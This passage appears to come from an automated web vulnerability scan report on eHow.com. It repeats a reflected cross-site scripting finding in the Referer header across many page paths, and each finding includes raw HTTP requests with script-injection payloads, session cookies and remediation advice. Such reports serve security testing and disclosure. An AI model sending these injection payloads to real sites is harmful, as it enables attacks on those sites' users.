Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /lawn-and-garden/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=1ba46</script><script>alert(1)</script>6b620b72d2c
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:40 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71036
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Lawn & Garden - How To Information | eHow.com</ti ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 459d0</script><script>alert(1)</script>02fd6d9f1ec was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /legal/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=459d0</script><script>alert(1)</script>02fd6d9f1ec
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:13:55 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73439
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Legal - How To Information | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e78a0</script><script>alert(1)</script>8d81708f1d3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /list_6515049_common-english-grammar-mistakes.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=e78a0</script><script>alert(1)</script>8d81708f1d3
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:16 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73796
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8c8b8</script><script>alert(1)</script>9bae81c40d8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /list_7189463_grammar-check-tools.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=8c8b8</script><script>alert(1)</script>9bae81c40d8
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:16:21 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73995
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2c7b6</script><script>alert(1)</script>085f8aae691 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /lose-weight/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=2c7b6</script><script>alert(1)</script>085f8aae691
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:21 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 59165
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Lose Weight - How To Information | eHow.com</titl ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fd0e2</script><script>alert(1)</script>e6d76aa30d4 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /members.html HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=fd0e2</script><script>alert(1)</script>e6d76aa30d4
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:15:44 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 46009
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8df1a</script><script>alert(1)</script>79b522071ca was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /mental-health/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=8df1a</script><script>alert(1)</script>79b522071ca
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:03 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70558
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Mental Health - How To Information | eHow.com</ti ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df132</script><script>alert(1)</script>95642539c8a was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /music/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=df132</script><script>alert(1)</script>95642539c8a
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:05 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70752
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Music - How To Information | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9a8e2</script><script>alert(1)</script>ac0dd484a7c was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /parenting/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=9a8e2</script><script>alert(1)</script>ac0dd484a7c
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:04 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71224
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Parenting - How To Information | eHow.com</title> ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 451e2</script><script>alert(1)</script>fe7844aacb6 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /personal-finance/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=451e2</script><script>alert(1)</script>fe7844aacb6
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:05 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72539
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Personal Finance - How To Information | eHow.com< ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9090e</script><script>alert(1)</script>f31899da430 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /pets-and-animals/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=9090e</script><script>alert(1)</script>f31899da430
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:07 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 73469
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Pets & Animals - How To Information | eHow.com</t ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66406</script><script>alert(1)</script>01977d190a7 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /photos/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=66406</script><script>alert(1)</script>01977d190a7
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:17:15 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 69570
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 353c9</script><script>alert(1)</script>9a8f3a3d37b was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /plant-care/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=353c9</script><script>alert(1)</script>9a8f3a3d37b
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:07 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70437
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Plant Care - How To Information | eHow.com</title ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a5840</script><script>alert(1)</script>c6c90bc3237 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /plants/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=a5840</script><script>alert(1)</script>c6c90bc3237
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:26 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 70812
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Plants - How To Information | eHow.com</title>
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c0263</script><script>alert(1)</script>c17e4ec4831 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /privacy.aspx HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=c0263</script><script>alert(1)</script>c17e4ec4831
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:57 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 49157
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8838a</script><script>alert(1)</script>04cbc86da1d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /real-estate-and-investment/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=8838a</script><script>alert(1)</script>04cbc86da1d
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:25 GMT Server: Microsoft-IIS/6.0 ETag: X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 71175
<!DOCTYPE html> <html id="www-ehow-com" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraph.org/schema/"> <head> <title>Real Estate & Investment - How To Information | e ...[SNIP]... obj){ vWin = window.open($(obj).attr("href"),'verisignWindow','height=500,width=560'); if (window.focus){ vWin.focus() } return false; }
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 75b27</script><script>alert(1)</script>c1855e6bba5 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /recipes/ HTTP/1.1 Host: www.ehow.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: rsi_segs=; __utmz=101451733.1296659524.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); oms=homepage; _dt=ts; __utma=101451733.743339175.1296659524.1296659524.1296659524.1; google-autocomplete=autocomplete; __utmc=101451733; __utmb=101451733.1.10.1296659524; oml=direct; ASP.NET_SessionId=axi0su55dyp0oq45zse1qr55; Referer: http://www.google.com/search?hl=en&q=75b27</script><script>alert(1)</script>c1855e6bba5
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 15:14:26 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 72811
